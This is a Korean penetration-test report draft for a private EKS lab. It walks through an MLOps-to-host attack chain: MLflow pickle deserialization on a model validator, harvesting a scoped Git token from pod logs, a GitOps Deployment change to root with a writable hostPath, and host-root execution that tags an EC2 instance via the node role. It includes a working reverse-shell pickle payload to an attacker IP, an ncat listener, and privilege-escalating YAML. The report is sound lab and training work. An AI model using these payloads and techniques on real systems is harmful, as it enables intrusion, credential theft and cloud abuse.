ModelGate GitOps 침투테스트 보고서

MLOps 모델 검증부터 호스트 권한까지의 그레이박스 재현 초안

항목	내용
테스트 일자	2026-10-08
대상	개인 EKS 격리 실습 환경의 ModelGate와 내부 GitOps 경로
테스트 방식	제공된 취약점 전제를 사용한 그레이박스 참가자 재현
시작점	허용된 공인 IP의 http://3.35.2.114/docs
최종 목표	전용 EC2 노드에서 호스트 root 작업을 실행하고 노드 역할로 실습용 태그 기록
문서 상태	팀원 실습과 스크린샷 삽입을 위한 초안

요약

공개 ModelGate의 자동 모델 검증을 시작점으로 validator Pod의 제한된 셸을 얻고, 내부 모니터링 지표와 운영 로그에서 제한된 Git 쓰기 권한을 찾았다. 그 권한으로 runtime-builder Deployment를 변경한 commit을 Argo CD가 반영했다. 새 Pod가 전용 노드의 고정 hostPath 파일을 수정했고, 호스트 systemd가 이를 root로 실행했다. 최종적으로 노드의 IAM 역할을 사용한 EC2 CreateTags 호출이 실제 태그와 CloudTrail 관리 이벤트로 확인됐다.

이 결과는 대화형 노드 셸 획득이나 임의의 AWS 권한 확보를 뜻하지 않는다. 검증된 영향은 전용 노드에서의 고정 호스트 작업 실행과 허용된 증명 태그 쓰기다. 초기 MLflow flavor 선택은 공개 OpenAPI에서 발견한 사실이 아니라 참가자 안내에 주어진 취약점 전제를 바탕으로 한 가설이다.

문서 구성

- 1. 랩 목표와 구성: 학습할 신뢰 경계, 구성 요소, 검증 기준
- 2. 참가자 재현: 공개 요청에서 내부 조사, Git 변경, 호스트 작업까지
- 3. 결과 해석: 참가자 증거와 운영자 독립 증거의 대조
- 4. 한계와 복구: 확인하지 않은 주장, 다음 참가자 전 초기화
- 부록. 스크린샷 삽입 목록과 참고자료

1 랩 목표와 구성

1.1 학습 목표

이 랩은 하나의 Flag를 빨리 찾는 게임보다 MLOps 검증 프로세스, Kubernetes 내부 관측, GitOps 배포, 컨테이너 마운트, 호스트 실행, AWS 인스턴스 역할 사이의 신뢰 경계를 추적하는 실습이다. 참가자는 매 이동에서 자신이 가진 실행 문맥과 다음 문맥으로 넘어가는 근거를 남겨야 한다.

- 모델 검증의 역직렬화가 validator 프로세스에서 코드 실행으로 이어지는 조건을 구분한다.
- Pod 셸의 ServiceAccount와 내부 DNS를 사용해 운영 메모, Grafana 지표, Pod 로그를 연결한다.
- 노출된 Git credential의 범위가 저장소 전체가 아닌 lab-runtime 브랜치의 runtime-builder 경로임을 확인한다.
- readOnlyRootFilesystem, volumeMount.readOnly, UID/GID가 서로 다른 제어임을 Deployment 변경으로 확인한다.
- Git 변경과 Argo revision 일치, 호스트 root 실행, AWS CreateTags를 서로 다른 증거로 검증한다.

1.2 공격 경로와 구성 요소

공개 ModelGate → validator Pod 셸 → Grafana/Prometheus 운영 지표 → operations-log Pod 로그 → 내부 Gitea → Argo CD → runtime-builder Pod → hostPath의 task.sh → 호스트 systemd root → 전용 EC2의 증명 태그 순서로 진행한다.

구성	역할	참가자가 보는 단서와 경계
ModelGate / modelgate-lab	모델 ZIP 업로드·등록·자동 검증	공개 UI와 OpenAPI; validator는 UID 10001
공격자 EC2	같은 VPC에서 역방향 연결 수신	SSH 접속 가능; IAM 역할·운영자 kubeconfig 없음
observability-lab	Grafana, Prometheus, operations-log	지표 라벨로 로그 Pod를 찾고 제한된 Pod 로그를 읽음
delivery-lab	Gitea와 Argo Application	lab-runtime의 runtime-builder/만 쓰는 Git 자격
runtime-lab	runtime-builder Deployment	전용 노드 배치, maintenance/evidence hostPath
escape worker	고정 작업을 systemd root로 실행	노드 역할의 단일 proof 태그 권한

1.3 범위와 증거 기준

참가자에게 공개 ModelGate와 전용 공격자 EC2의 SSH 접속 정보만 제공한다. Kubernetes 운영자 kubeconfig는 제공하지 않는다. validator 셸의 kubectl은 제한된 ServiceAccount 신원을 사용한다. 참가자 증거는 명령과 응답의 연결, Git commit, Argo revision, runtime Pod 로그다. 운영자 증거는 실제 EC2 태그와 CloudTrail CreateTags 이벤트다. 운영자 조회는 풀이 단서로 사용하지 않는다.

경계	확인할 사실	이 보고서의 증거
외부 → validator	실제 Pod 명령 실행	역방향 연결, id, hostname
validator → 내부 관측	제한 권한으로 로그 위치 발견	운영 메모, 지표 라벨, kubectl 결과
Git → 배포	참가자 commit이 실행 중 Pod에 반영	전체 Git SHA와 Argo sync revision 일치
Pod → 호스트	고정 작업의 root 실행	호스트 hostname·UID·IAM 역할을 담은 내부 로그
호스트 → AWS	실제 CreateTags 성공	EC2 태그와 CloudTrail 호출자·대상·값 대조

2 참가자 관점 재현

아래 명령은 2026-10-08 실측 순서와 값을 사용한다. 동적 모델 ID, Pod 이름, Git SHA, 노드 ID는 다음 실습에서 달라진다. 토큰 원문은 본문과 스크린샷에 싣지 않는다. 각 항목은 시도 이유, 실제 관찰, 그 결과에서 이어진 다음 행동을 구분한다.

2.1 공개 서비스와 API 흐름 확인

시도 이유 초기 진입점과 모델 업로드·자동 검증·Job 조회의 연결을 공개 화면에서 확인한다.

```
curl -s http://3.35.2.114/readyz
curl -s http://3.35.2.114/ | grep -iE 'model|artifact|validation'
curl -s http://3.35.2.114/openapi.json | jq -r '.paths | keys[]'
```

실측 응답 `/readyz`는 {"status":"ready"}를 반환했다. 화면에는 모델 번들 업로드, 모델 등록, 검증 Job이 있었고 OpenAPI에는 /api/artifacts, /api/models, /api/jobs/{job_id}를 포함한 현재 경로 9개가 보였다.

얻은 단서와 다음 행동 모델 ZIP을 올려 artifact_uri를 얻고, 그 URI로 모델을 등록하면 자동 검증 Job의 동작을 관찰할 수 있다. OpenAPI 자체는 특정 MLflow flavor나 RCE 성립을 증명하지 않는다.

스크린샷 1 삽입 위치
URL, 업로드·등록 UI, OpenAPI 경로 목록이 함께 보이도록 캡처

그림 1. 공개 화면과 OpenAPI에서 확인한 모델 검증 경로

2.2 실패 모델로 검증 동작 살펴보기

시도 이유 먼저 무해한 MLmodel manifest가 검증 과정에서 어떻게 처리되는지 본다.

```
mkdir -p /tmp/mlflow-check
printf 'flavors:₩n  python_function:₩n    loader_module: missing_module₩n' > /tmp/mlflow-check/MLmodel
cd /tmp && zip -q mlflow-check.zip mlflow-check/MLmodel
curl -s http://3.35.2.114/api/artifacts -H 'Content-Type: application/zip' --data-binary @mlflow-check.zip | jq
curl -s http://3.35.2.114/api/models -H 'Content-Type: application/json' -d '
{"name":"validation-check-20261008","artifact_uri":"models:/m-88d9a90642a2498881064c6af25b288b"}' | jq
curl -s http://3.35.2.114/api/jobs/d9e70348-737e-4635-91f9-77099b48d48d | jq
```

실측 응답 ZIP 업로드는 artifact_uri를 반환했고 등록 응답은 validation_job ID를 줬다. Job은 failed, error는 `ModuleNotFoundError: No module named 'missing_module'`이었다.

얻은 단서와 다음 행동 manifest의 loader_module을 검증 프로세스가 읽고 모듈 로드를 시도한다는 단서다. 이것만으로 역직렬화 RCE를 입증하지는 못한다. 참가자 안내에 명시된 취약한 MLflow 역직렬화 구성을 다음 가설로 삼는다.

스크린샷 2 삽입 위치
artifact_uri, validation_job ID, ModuleNotFoundError가 보이도록 캡처

그림 2. 무해한 검증 probe의 등록과 실패 Job

2.3 MLflow 역직렬화로 validator 셸 획득

시도 이유 안내된 취약점 전제에 따라 statsmodels 모델 파일의 역직렬화 시점에 검증 프로세스가 코드를 실행하는지 확인한다. 공격자 EC2의 사설 IP에서 연결을 수신한다.

```
ssh -tt -i ~/.ssh/vuln-mlops-attacker-lab.pem ec2-user@3.35.13.221
ncat -lvnp 4444
```

payload 구성 WSL에서 정상 statsmodels MLflow 모델을 만든 뒤 model.statsmodels의 직렬화 데이터를 Callback 객체로 교체했다. __reduce__는 10.42.143.106:4444로 연결해 /bin/sh를 실행한다. 다음은 핵심 부분이다.

```
import pickle
import mlflow.statsmodels
import numpy as np
import statsmodels.api as sm

class Callback:
    def __reduce__(self):
        command = (
            "import socket,subprocess;"
            "s=socket.create_connection(('10.42.143.106',4444),10);"
            "s.settimeout(None);"
            "subprocess.Popen(['/bin/sh','-i'],stdin=s,stdout=s,stderr=s,"
            "start_new_session=True,close_fds=True);s.close()"
        )
        return (exec, (command,))

x = sm.add_constant(np.arange(4.0))
y = 1.0 + np.arange(4.0)
mlflow.statsmodels.save_model(sm.OLS(y, x).fit(), 'mlflow-shell-model-1008a')
with open('mlflow-shell-model-1008a/model.statsmodels', 'wb') as file:
    pickle.dump(Callback(), file)

zip -q -r mlflow-shell-model-1008a.zip mlflow-shell-model-1008a
curl -s http://3.35.2.114/api/artifacts -H 'Content-Type: application/zip' --data-binary @mlflow-shell-model-1008a.zip | jq
curl -s http://3.35.2.114/api/models -H 'Content-Type: application/json' -d '
{"name":"validation-shell-1008a","artifact_uri":"models:/m-02c59eef26404cecb2dca7f4b9f52a29"}' | jq
```

실측 응답 업로드는 artifact_uri `models:/m-02c59eef26404cecb2dca7f4b9f52a29`를 반환했다. 모델 등록 후 EC2 수신기에 Pod 주소 10.42.9.152에서 연결됐다. 셸에서 `id`는 uid=10001(modelgate), `hostname`은 modelgate-69f55497bb-kl7jm을 반환했다.

얻은 단서와 다음 행동 HTTP 등록 성공이나 Job의 `succeeded` 문구가 아니라, 실제 연결과 Pod의 UID·hostname이 RCE 증거다. 셸의 작업 디렉터리와 운영 메모를 조사한다.

스크린샷 3 삽입 위치
Ncat 연결 출발지, id, hostname을 함께 캡처; 개인 키나 토큰은 제외

그림 3. validator Pod의 역방향 연결과 UID 확인

2.4 Pod 운영 메모에서 내부 조사 방향 찾기

시도 이유 획득한 셸에 다음 서비스와 제한 권한의 단서가 있는지 살핀다.

```
pwd
ls -la /opt/modelgate
cat /opt/modelgate/VALIDATOR_OPERATIONS.txt
cat /opt/modelgate/ops/monitoring-history.txt
```

실측 응답 작업 디렉터리는 /opt/modelgate였다. 첫 메모는 validator의 observability-lab Pod 목록·로그 권한, Grafana DNS, operations-log의 존재를 알려줬다. on-call 기록은 datasource UID 프록시 경로와 `delivery_sync_info` 질의를 명시했다.

얻은 단서와 다음 행동 지표 이름은 추측한 값이 아니라 셸에서 읽은 운영 기록의 단서다. Grafana에서 datasource UID를 확인한 뒤 그 지표를 질의한다.

스크린샷 4 삽입 위치
두 파일 경로, Grafana DNS, delivery_sync_info 및 UID 프록시 경로가 보이도록 캡처

그림 4. validator의 운영 메모와 on-call 기록

2.5 Grafana datasource와 운영 지표 질의

시도 이유 운영 기록이 가리키는 Prometheus datasource의 실제 UID와 지표 라벨을 확인한다.

```
curl -s http://grafana.observability-lab.svc:3000/api/datasources
curl -s 'http://grafana.observability-lab.svc:3000/api/datasources/proxy/uid/operations-prometheus/api/v1/query?query=delivery_sync_info'
```

실측 응답 datasource UID는 `operations-prometheus`였다. 지표 라벨에는 `application=runtime-builder`, `branch=lab-runtime`, `git_service=gitea.delivery-lab.svc:3000`, `log_namespace=observability-lab`, `log_selector=app=operations-log`, `repository=vuln-mlops-gitops`가 있었다.

얻은 단서와 다음 행동 지표는 Git 자격 자체를 주지 않고 운영 로그의 위치를 알려준다. 다음에는 validator ServiceAccount가 그 Pod와 로그를 읽을 수 있는지 확인한다.

스크린샷 5 삽입 위치
datasource UID와 metric의 log_namespace, log_selector, branch를 캡처

그림 5. Grafana datasource와 delivery_sync_info 결과

2.6 제한된 ServiceAccount로 운영 로그 조회

시도 이유 지표의 namespace·selector를 Kubernetes 조회 명령에 그대로 사용한다.

```
kubectl auth can-i list pods -n observability-lab
kubectl -n observability-lab get pods -l app=operations-log
kubectl -n observability-lab logs operations-log-7795897c98-wdcjk
```

실측 응답 `can-i`는 yes, Pod 조회는 `operations-log-7795897c98-wdcjk`를 반환했다. 로그에는 `repository=vuln-mlops-gitops branch=lab-runtime path=runtime-builder/ remote=http://gitea.delivery-lab.svc:3000/lab-git-writer/vuln-mlops-gitops.git username=lab-git-writer token=[REDACTED]` 형식의 배포별 자격이 있었다.

얻은 단서와 다음 행동 자격은 저장소·브랜치·경로가 제한돼 있다. 토큰 원문은 보고서와 스크린샷에서 가리고, 내부 Git 저장소를 복제한다.

스크린샷 6 삽입 위치
can-i, Pod 이름, remote/branch/path만 표시; token 값은 반드시 가림

그림 6. Pod 조회 권한과 운영 로그의 제한 Git credential

2.7 내부 Git 저장소의 운영 문서와 baseline 검토

시도 이유 로그의 remote와 branch가 실제로 접근 가능한지 확인하고 변경 가능한 파일을 읽는다.

```
git clone -b lab-runtime http://lab-git-writer@gitea.delivery-lab.svc:3000/lab-git-writer/vuln-mlops-gitops.git /tmp/runtime-work
cat /tmp/runtime-work/runtime-builder/README.md
cat /tmp/runtime-work/runtime-builder/deployment.yaml
git -C /tmp/runtime-work rev-parse HEAD
```

실측 응답 복제된 baseline은 `a0cb6c8e556c7c6a9da328d12701db9e55f28bc0`였다. README는 고정 maintenance 파일 `/host-maintenance/task.sh`, host systemd 실행, 유지할 이미지·ServiceAccount·nodeSelector·hostPath 원본 경로, 변경할 UID/GID와 maintenance readOnly 설정, proof 태그 형식을 설명했다.

얻은 단서와 다음 행동 Deployment의 Pod UID/GID는 10001이고 maintenance와 evidence mount는 둘 다 readOnly였다. evidence mount는 계속 readOnly로 둔다. 정상 앱 프로세스도 계속 실행해야 readiness가 유지된다.

스크린샷 7 삽입 위치
Git remote/branch, baseline SHA, UID/GID 10001, 두 readOnly mount를 캡처

그림 7. Gitea README와 변경 전 Deployment

2.8 고정 hostPath 작업을 위한 Deployment 변경

시도 이유 baseline의 비루트 UID와 읽기 전용 maintenance mount를 해소하고, 오직 고정 task.sh를 쓰도록 시작 명령을 변경한다. 컨테이너 이미지 루트의 readOnly 설정과 evidence mount는 유지한다.

```
# 변경 전
securityContext: {runAsUser: 10001, runAsGroup: 10001, ...}
- {name: host-maintenance, mountPath: /host-maintenance, readOnly: true}

# 변경 후
securityContext: {runAsUser: 0, runAsGroup: 0, ...}
- {name: host-maintenance, mountPath: /host-maintenance, readOnly: false}
- {name: node-evidence, mountPath: /node-evidence, readOnly: true}
command: [/bin/sh, -c]
args:  # task.sh 작성 → 정상 uvicorn 실행 → evidence 파일 대기·로그 출력
```

고정 host task 호스트 실행 스크립트는 whoami, id, hostname, sts get-caller-identity를 기록한다. assumed-role 세션의 instance ID를 추출하고, 그 인스턴스의 `lab.vuln-mlops/proof` 키에 `lab-20261008b`를 쓴다.

```
#!/bin/bash
set -e
export AWS_DEFAULT_REGION=ap-northeast-2
{
  whoami
  id
  hostname
  aws sts get-caller-identity
} > /var/lib/vuln-mlops/node-evidence/context.txt
arn=$(aws sts get-caller-identity --query Arn --output text)
instance_id=${arn##*/}
aws ec2 create-tags --resources "$instance_id" --tags Key=lab.vuln-mlops/proof,Value=lab-20261008b
printf 'tagged %s₩n' "$instance_id" > /var/lib/vuln-mlops/node-evidence/result.txt
```

검사 응답 참가자 셸에서 `bash -n /tmp/host-task.sh`는 오류가 없었다. 수정된 YAML은 `yaml.safe_load`로 다시 읽혀 `yaml-ok`를 출력했고 `git diff --check`도 통과했다. 추출한 필드는 Pod UID/GID 0, maintenance readOnly false, evidence readOnly true, command `/bin/sh -c`였다.

얻은 단서와 다음 행동 파일 수정 자체는 호스트 실행의 증거가 아니다. Git commit을 push하고 Argo가 동일한 revision으로 동기화했는지 확인해야 한다.

스크린샷 8 삽입 위치
UID/GID, maintenance readOnly, evidence readOnly, command/args 및 yaml-ok가 보이도록 캡처

그림 8. Deployment 변경과 YAML 검사

2.9 Git commit과 Argo CD revision 대조

시도 이유 참가자의 제한 Git 변경이 배포 입력으로 채택됐는지 확인한다.

```
git -C /tmp/runtime-work add runtime-builder/deployment.yaml
git -C /tmp/runtime-work commit -m 'test host maintenance recovery'
git -C /tmp/runtime-work push origin HEAD:lab-runtime
git -C /tmp/runtime-work rev-parse HEAD
kubectl -n delivery-lab get application runtime-builder -o jsonpath='{.status.sync.status}{" "}{.status.sync.revision}{" "
}{.status.health.status}{"₩n"}'
```

실측 응답 push는 `a0cb6c8..fcc4454 HEAD -> lab-runtime`을 반환했다. 전체 commit은 `fcc44540580cef326ca25fd9cd199cc29354b4ab`이었다. Argo는 잠시 이전 revision을 보이다가 같은 전체 SHA에서 `Synced Healthy`가 됐다.

얻은 단서와 다음 행동 Argo가 참가자 Git 변경을 실제 배포 입력으로 사용했다. 새 runtime-builder Pod의 배치 노드와 로그를 확인한다.

스크린샷 9 삽입 위치
push 결과, 전체 commit SHA, Argo Synced/Healthy의 동일 revision을 캡처

그림 9. 참가자 Git push와 Argo 동기화

2.10 새 Pod의 노드와 내부 호스트 증거 확인

시도 이유 Git 동기화만으로는 호스트 작업 실행을 확정할 수 없으므로, 새 Pod와 결과 로그를 읽는다.

```
kubectl -n runtime-lab get pods -l app=runtime-builder
kubectl -n runtime-lab get pod runtime-builder-5764f9cdc9-n9n76 -o jsonpath='{.spec.nodeName}{"₩n"}'
kubectl -n runtime-lab logs runtime-builder-5764f9cdc9-n9n76 -c runtime-builder | sed -n '1,25p'
```

실측 응답 새 Pod는 1/1 Running이며 전용 노드 `ip-10-42-30-220.ap-northeast-2.compute.internal`에 배치됐다. 로그 앞부분에는 `root`, `uid=0(root)`, 해당 hostname, 계정 `707605822656`, assumed-role `vuln-mlops-escape-node/i-0d0acd7e27a2b2a8c`, `tagged i-0d0acd7e27a2b2a8c`가 있었다.

얻은 단서와 다음 행동 이 값은 호스트 작업이 쓴 evidence 파일을 Pod가 읽어 출력한 것이다. 참가자 관점의 호스트 root 문맥 증거지만, Git을 제어한 Pod가 로그를 꾸밀 가능성을 배제하려면 실제 AWS 태그와 CloudTrail을 운영자가 독립 대조해야 한다.

스크린샷 10 삽입 위치
Pod Ready, nodeName, root/UID0, hostname, assumed-role ARN, tagged 문구를 캡처

그림 10. 새 runtime-builder Pod와 호스트 작업 로그

3 운영자 독립 검증과 결과

이 절의 AWS CLI 결과는 운영자가 별도 WSL에서 조회했다. 참가자는 이 결과를 풀이 중 보지 않았다.

```
aws ec2 describe-tags --region ap-northeast-2 ₩
  --filters Name=resource-id,Values=i-0d0acd7e27a2b2a8c ₩
            Name=key,Values=lab.vuln-mlops/proof ₩
  --query 'Tags[].[ResourceId,Key,Value]' --output table
```

EC2 응답 대상 `i-0d0acd7e27a2b2a8c`의 `lab.vuln-mlops/proof` 값은 `lab-20261008b`였다.

```
aws cloudtrail lookup-events --region ap-northeast-2 ₩
  --lookup-attributes AttributeKey=EventName,AttributeValue=CreateTags ₩
  --output json | jq '[.Events[].CloudTrailEvent | fromjson |
    select(any(.requestParameters.resourcesSet.items[]?; .resourceId == "i-0d0acd7e27a2b2a8c")) |
    select(any(.requestParameters.tagSet.items[]?; .key == "lab.vuln-mlops/proof" and .value == "lab-20261008b")) |
    {eventTime, eventName, arn: .userIdentity.arn, errorCode}]'
```

CloudTrail 응답 2026-10-08T06:50:27Z의 CreateTags 관리 이벤트에서 대상 instance ID와 키·값이 일치했다. 호출자 ARN은 `arn:aws:sts::707605822656:assumed-role/vuln-mlops-escape-node/i-0d0acd7e27a2b2a8c`, errorCode는 null이었다.

스크린샷 11 삽입 위치
instance ID, tag key와 lab-20261008b 값을 캡처

그림 11. EC2 실제 증명 태그

스크린샷 12 삽입 위치
eventTime, 대상 instance ID, tag key/value, assumed-role ARN, null errorCode를 캡처

그림 12. CloudTrail CreateTags 독립 증거

3.1 증거 대조

증거	확인 값	판정
Git / Argo	fcc44540580cef326ca25fd9cd199cc29354b4ab	동일 revision으로 Synced/Healthy
Pod / 노드	runtime-builder-5764f9cdc9-n9n76 / ip-10-42-30-220	전용 노드에 새 Pod 1/1 Running
호스트 문맥	root, UID 0, 노드 hostname, node-role ARN	고정 task의 호스트 실행과 일치
AWS 실제 상태	i-0d0acd7e27a2b2a8c / lab-20261008b	EC2 태그 확인
AWS 호출 기록	CreateTags / 동일 노드 역할 / errorCode null	CloudTrail 관리 이벤트 확인

3.2 결론과 배울 점

참가자는 제한된 validator 셸에서 시작해 내부 관측 정보와 운영 로그를 연결했고, 권한 범위가 좁은 Git 자격으로 배포 파일 하나를 변경했다. Argo CD가 그 파일을 신뢰해 전용 노드에 새 Pod를 띄웠다. Pod UID/GID와 maintenance mount의 읽기 전용 설정을 함께 바꾸고 고정 task를 작성하자, 호스트 systemd가 task를 root로 실행했다. 최종 AWS API 호출은 노드 인스턴스 역할로 전용 인스턴스의 증명 태그에 한정됐다.

핵심은 hostPath 한 줄 자체가 아니라 Git 쓰기 권한, Argo의 배포 신뢰, 쓰기 가능한 호스트 경로, 호스트 자동 실행기가 이어진다는 점이다. Pod 로그의 `root` 또는 ARN 문자열만으로 AWS 작업을 단정하지 않고 실제 EC2 태그와 CloudTrail 호출자를 대조하는 이유도 여기에 있다.

4 한계와 다음 참가자 전 복구

- 초기 취약점은 참가자 안내에서 제공됐다. OpenAPI만으로 statsmodels flavor와 역직렬화 문제를 완전히 블라인드로 발견한 검증은 아니다.
- 획득한 대화형 셸은 validator Pod의 UID 10001 문맥이다. 노드에는 대화형 셸로 접속하지 않았으며, 고정 host task가 호스트 root로 실행됐다.
- 최종 영향은 전용 EC2의 단일 실습 태그 기록이다. S3 객체 조회, 임의 AWS 권한, Kubernetes 관리자 권한 획득은 이 회차 결과가 아니다.
- 운영자 AWS 조회는 성공 여부를 독립 검증하는 데만 사용했다. 그 응답은 참가자 경로의 단서로 제공하지 않았다.
- Ncat으로 중계한 셸에서 여러 줄 붙여넣기와 Ctrl+D가 불안정했다. 팀원 재현 시 한 줄 명령 또는 준비한 편집 환경을 쓰는 것이 실습 흐름을 더 안정적으로 만든다.

현재 Gitea `lab-runtime`은 참가자 commit fcc4454, escape EC2에는 proof 태그와 host evidence가 남아 있다. 다음 참가자 전 운영자가 baseline Deployment를 Git에 복원하고 Argo의 새 revision을 확인한다. 공격을 수행한 escape 노드는 교체하며 ModelGate/validator 세션을 초기화한다. 이 문서의 실측 ID와 IP는 초기화 뒤 새 값으로 바뀐다.

부록 A 스크린샷 삽입 목록

그림	캡처 핵심	가림 처리
1	공개 UI와 OpenAPI의 현재 경로	불필요한 브라우저 개인 정보
2	무해한 모델의 artifact URI와 실패 Job	없음
3	역방향 연결·validator id·hostname	SSH 개인 키 경로 외 실제 키 내용
4	VALIDATOR_OPERATIONS와 monitoring-history	없음
5	Grafana datasource UID와 delivery_sync_info 라벨	없음
6	Pod 권한·operations-log·Git 원격 단서	Git token 원문
7	Gitea README와 baseline Deployment	Git token 원문
8	수정된 UID/GID·mount·command와 YAML 검사	없음
9	Git commit/push와 Argo 동일 revision	Git token 원문
10	전용 노드의 새 Pod와 host evidence 로그	없음
11	EC2 proof 태그	다른 인스턴스의 정보
12	CloudTrail CreateTags 이벤트	관련 없는 이벤트

부록 B 참고자료

- 첨부 참고 보고서: 내부 보고서 관리 서비스 침투테스트 보고서 (구성·표현 형식 참고)
- 저장소 docs/ATTACK_CHAIN_CONTRACT.md (현행 실습 계약)
- 저장소 docs/PARTICIPANT_START_GUIDE.md (참가자에게 주는 초기 전제)
- 저장소 docs/STATUS.md 상단 (2026-10-08 실측 상태와 복구 필요 사항)
- 참가자 터미널 실측 출력과 운영자 EC2 DescribeTags·CloudTrail CreateTags 조회 결과